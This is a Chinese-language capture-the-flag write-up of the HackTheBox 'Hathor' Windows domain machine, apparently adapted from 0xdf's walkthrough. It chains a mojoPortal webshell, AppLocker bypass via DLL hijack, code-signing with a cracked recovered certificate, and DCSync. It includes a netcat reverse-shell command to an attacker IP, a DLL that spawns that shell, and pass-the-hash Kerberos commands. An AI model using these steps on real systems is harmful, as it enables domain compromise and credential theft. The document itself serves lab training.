基本信息
端口扫描
80和常规windows域端口:
1 | nmap -sC -sV -Pn 10.10.11.147 |
80
一个mojoPortal:
mojoPortal
默认账号密码登录:
- Admin Password Reset - mojoPortal
https://www.mojoportal.com/Forums/Thread.aspx?pageid=5&t=2902~-1#:~:text=Enter%20%22admin%40admin.com,and%20%22admin%22%20for%20Password.
Administration -> System Information中得到版本信息:
1 | mojoPortal Version 2.7.0.0 MSSQL |
webshell
github issue中找到相关漏洞,用于获取webshell:
- Vulnerabilities in Legacy File Manager · Issue #146 · i7MEDIA/mojoportal
https://github.com/i7MEDIA/mojoportal/issues/146
有一点区别就是,issue里是重命名成aspx,这里是复制成aspx文件
路径可以直接在首页根据图片路径得到:
Firewall and AppLocker
webshell执行命令会发现存在限制,查看防火墙和AppLocker设置:
- Enumerating Firewall And AppLocker Rules [Hathor - HackTheBox] - YouTube
https://www.youtube.com/watch?v=w_Kro3S4xE8&ab_channel=0xdf
1 | powershell.exe -c "Get-NetFirewallRule -PolicyStore ActiveStore | where { $_.Action -eq \"Block\" }" |
AppLocker 规则
- Appx - 签名
- dll
- Microsoft签名
- 在Program Files 和 Windows目录中
- 由admin组运行
C:\share\scripts\7-zip64.dll
或者C:\Get-bADpasswords\PSI\Psi_x64.dll
- exe
- 明确阻止已知的AppLocker 绕过甚至包括由 Microsoft 签名
MSDT.exe
,PRESENTATIONHOST.exeMSHTA.exe
,`MSBUILD.exe``INSTALLUTIL.exe - 允许由
administrator@windcorp.com
、AutoIt 或 Microsoft 签名(如果不在上面) - 显式阻止已知路径,如
%SYSTEM#2%\Tasks:*
、%SYSTEM32%\regvr32
、%SYSTEM32%\spool\drivers\color:*
等。 - 在 Program Files 和 Windows 文件夹中
- 由admin组运行
- C:\share\Bginfo64.exe
- 明确阻止已知的AppLocker 绕过甚至包括由 Microsoft 签名
- msi
- 签名
- 在
C:\Windows\Installer
目录中 - 由admin组运行
- scripts
- 由 administrator@windcorp.htb 签名
- 在 Program Files 和 Windows 文件夹中
- 由admin组运行
C:\script\login.cmd
Get-bADpasswords
枚举目录文件,C盘发现Get-bADpasswords目录,里面一些文件:
这里是一个副本
- improsec/Get-bADpasswords: Get insights into the actual strength and quality of passwords in Active Directory.
https://github.com/improsec/Get-bADpasswords
run.vbs
不是那个 repo 的一部分,查看这个文件,获得有效签名:
Get-bADpasswords.ps1在脚本的顶部有一个配置部分:
1 | ... |
$write_hash_to_logs
很有趣,因为它暗示它可能正在记录错误的密码。
Accessible\CSVs
继续查看Accessible\CVSs目录,在其中最新的一个文件中BeatriceMill用户的hash,破解出来密码:
1 | type c:\Get-bADpasswords\Accessible\CSVs\exported_windcorp-13102022-210946.csv |
run.vbs
1 | Set WshShell = CreateObject("WScript.Shell") |
SMB
直接使用密码会发现NTLM被禁用,需要通过kerberos方式:
首先修改hosts:
1 | 10.10.11.147 hathor.windcorp.htb |
修改配置文件,使用账号密码请求ticket,使用ticket继续去枚举smb:
1 | kinit beatricemill |
Share
share目录下发现AutoIt.exe和Bginfo64.exe,AutoIt.exe被applocker阻止,Bginfo64.exe是被允许的
share/scripts目录下是一个7Zip库和一堆AutoIt脚本,7-zip64.dll也在applocker的白名单中
1 | smbclient //hathor.windcorp.htb/share -U beatricemill@windcorp.htb -N -k |
/etc/krb5.conf
1 | [libdefaults] |
7-zip64.dll
枚举发现share目录下两个exe定时运行,其中AutoIt3_x64.exe的一个脚本7Zip.au3中调用了7-zip64.dll,我们可以通过smb覆盖dll来达到任意命令执行目的
1 | FOR /L %i IN (0,1,1000) DO (tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" & tasklist /FI "imagename eq AutoIt3_x64.exe" | findstr /v "No tasks" & ping -n 2 127.0.0.1 > NUL ) |
enum
(这里开始就在云了)
这里因为存在杀软,需要自己写dll,通过dll的执行去进一步枚举信息,发现是GinaWild用户权限在定时运行exe,他是 ITDep 和 Protected Users 组的成员:
另一方遍,Bginfo64.exe
。用户只能读/执行,但ITDep也可以写owner( WO
),也就是说ginawild可以改变owner
战略
这里是0xdf的原文:
Bginfo64.exe
未被防火墙阻止,并且即使未从该路径签名,它也会在 AppLocker 中列入白名单以运行。我可以以 GinaWild 的身份运行 Dll,GinaWild 可以取得 Bginfo64.exe
的所有权,然后对其进行修改。
我将制作一个新的 Dll 来:
- 拥有
Bginfo64.exe
. - 更新权限,以便 GinaWild 具有完全控制权。
- 将
nc64.exe
我之前上传的复制到web目录下Bginfo64.exe
。 - 调用
nc64.exe
以使用反向 shell 连接回我。
代码大概这样:
1 | case DLL_PROCESS_ATTACH: |
GinaWild & user flag
执行后得到GinaWild shell和user flag
信息
发现桌面一个快捷方式指向之前那个vbs
1 | c:\Users\Public\Desktop>powershell -c "$sh = New-Object -ComObject WScript.Shell; $sh.CreateShortcut('.\bAD Passwords.lnk').TargetPath" |
GinaWild 的回收站中有文件,GinaWild 的 SID 以-2663
结尾,回收站中查看发现3个证书文件:
1 | c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663>dir |
元数据文件是二进制格式,但我可以看到以前文件名的字符串:
1 | c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663>type $IZIX7VV.pfx |
访问证书
将3个证书文件复制到smb,下载下来查看,需要密码,破解出来证书密码:
- crackpkcs12/crackpkcs12: A multithreaded program to crack PKCS#12 files (p12 and pfx extensions)
https://github.com/crackpkcs12/crackpkcs12
1 | c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663>copy * \share\ |
然后使用密码提取证书:
1 | openssl pkcs12 -info -in \$RLYS3KF.pfx -noout |
关键信息:
- subject是
DC = htb, DC = windcorp, CN = Users, CN = Administrator
。这与上面 Exe(未显示)和脚本的 AppLocker 数据中的内容相匹配: - 该证书用于代码签名:
Get-bADpasswords
该Get-bADpasswords
脚本必须有权访问域密码才能完成它的工作,因此它很可能以某种特权用户身份运行。我知道它运行C:\Get-bADpasswords.ps1
脚本,该脚本已签名,因此它将运行。我知道可以访问签名密钥,所以理论上我可以修改脚本并执行
我将复制Get-bADpasswords.ps1
到 SMB 共享以获取它的副本。我必须更改.ps1
从该文件夹中阻止的扩展名:
1 | copy Get-bADpasswords.ps1 \share\gbp.txt |
我将下载脚本,并在顶部添加一行,打印有关运行脚本的用户的详细信息:
1 | whoami /all > C:\Programdata\0xdf.txt |
现在我需要签署脚本,因为修改它会使旧签名无效。我将首先将证书导入我的用户的证书存储区并获取对它的引用$cert
:
1 | PS C:\> $pass = ConvertTo-SecureString -String 'abceasyas123' -AsPlainText -Force |
现在我可以用它来签署文件了:
1 | PS C:\get-badpasswords> Set-AuthenticodeSignature .\Get-bADpasswords.ps1 $cert |
要触发执行,我将运行run.vbs
:
1 | PS C:\get-badpasswords> cscript .\run.vbs |
现在有一个文件C:\programdata
,它显示用户不是域管理员,而是 bpassrunner:
1 | PS C:\programdata> cat 0xdf.txt |
bpassrunner
我花了一点时间才弄清楚如何将它变成一个 shell。我不能只nc64.exe
从 Web 目录调用,因为它不会通过 AppLocker。我不能使用 PowerShell,因为即使我可以对其进行签名并且它会运行,防火墙也会阻止出站连接。
然后我意识到我可以尝试覆盖bginfo64.exe
并nc64.exe
从那里运行它。尝试这样做时,它失败了,因为该文件仍在使用中——我当前的 shell!这意味着它实际上是静止的nc64.exe
。
我会将脚本本地副本的顶部更新为:
1 | C:\share\Bginfo64.exe -e cmd 10.10.14.6 9004 |
我将上传它、签名并触发它。大约 15 秒后,我得到一个 shell
1 | C:\Get-bADpasswords>whoami |
提权信息
Get-bADpasswords
GitHub README说运行它:
需要“域管理员”权限或类似权限,例如“域控制器”或“复制目录更改”和“复制目录更改全部”的委派域级权限,才能成功从 Active Directory 数据库中获取密码。
这意味着该用户应该能够运行 DCSync 攻击。
dcsync
这实际上很容易从 shell 中作为具有权限的用户使用Get-ADReplAccount
:
1 | Get-ADReplAccount -SamAccountName administrator -Server 'hathor.windcorp.htb' |
如果由于某种原因我无法获得 shell,我仍然可以通过脚本注入来完成此操作。我会将以下三行添加到我的本地副本的开头Get-bADpasswords.ps1
:
1 | Start-Transcript -Path 'C:\Programdata\0xdf-transcript.txt' |
提权 & root flag
现在我们有Administrator的hash,仍然需要通过kerberos方式:
Kerberos 授权
1 | └─$ ktutil |
也可以使用impacket的getTGT来通过hash获取票据:
1 | getTGT.py -hashes :b3ff8d7532eef396a5347ed33933030f windcorp.htb/administrator |
shell
得到票据之后,即可任意可用方式获得shell:
1 | evil-winrm -i hathor.windcorp.htb -r WINDCORP.HTB |
flags
1 | type C:\Users\GinaWild\desktop\user.txt |
参考资料
- Admin Password Reset - mojoPortal
https://www.mojoportal.com/Forums/Thread.aspx?pageid=5&t=2902~-1#:~:text=Enter%20%22admin%40admin.com,and%20%22admin%22%20for%20Password. - Vulnerabilities in Legacy File Manager · Issue #146 · i7MEDIA/mojoportal
https://github.com/i7MEDIA/mojoportal/issues/146 - Enumerating Firewall And AppLocker Rules [Hathor - HackTheBox] - YouTube
https://www.youtube.com/watch?v=w_Kro3S4xE8&ab_channel=0xdf - improsec/Get-bADpasswords: Get insights into the actual strength and quality of passwords in Active Directory.
https://github.com/improsec/Get-bADpasswords - crackpkcs12/crackpkcs12: A multithreaded program to crack PKCS#12 files (p12 and pfx extensions)
https://github.com/crackpkcs12/crackpkcs12 - HTB: Hathor | 0xdf hacks stuff
https://0xdf.gitlab.io/2022/11/19/htb-hathor.html - HackTheBox - Hathor - YouTube
https://www.youtube.com/watch?v=yweDaXZdt4s&ab_channel=IppSec